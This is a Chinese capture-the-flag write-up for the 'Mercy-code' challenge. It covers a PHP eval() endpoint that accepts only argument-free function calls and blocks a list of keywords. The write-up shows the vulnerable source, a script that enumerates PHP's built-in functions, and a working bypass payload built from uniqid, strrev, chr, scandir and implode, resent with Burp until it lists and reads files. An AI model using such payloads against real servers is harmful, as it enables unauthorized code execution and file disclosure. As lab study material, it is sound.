Mercy-code
打开环境,很明显的无参数rce类型
的题
- 思路一 读文件,一般是要构造 . … / 能改变目录,进行文件读取
- 思路二 RCE,可以利用请求头里面的字段等传入命令
<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {
$cmd = $_POST['cmd'];
if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {
die('What are you thinking?');
} else {
eval($cmd);
}
} else {
die('Please calm down');
}
}
过滤比较严格,通过两个脚本,找到所有内置函数
,和可以使用的函数
<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {
echo fputs($file,$key."\r\n");
}
fclose($file);
?>
另一个fuzz脚本参考这个博客,使用效果如下
找了很久能利用的函数,找到了uniqid()
,这个函数前部分的内容是不变的,每次改变的是后面的内容,
-
strrev() 函数将字符串反转
-
chr 生成 . .. \ 这样字符
-
scandir() 返回目录
-
implode() 将一维数组转换成字符串
-
die() 结束进程,并输出内容,等同于 exit()
构造payload如下
cmd=die(implode(scandir(chr(strrev(uniqid())))));
然后就是通过burp连续发包,chr(uniqid())
有几率生成 .
然后就是读取文件,这里利用end()函数
得到文件名
end() 将数组的内部指针指向最后一个单元
show_source() 语法高亮一个文件 highlight_file() 别名
用burp发包,可以看到有成功的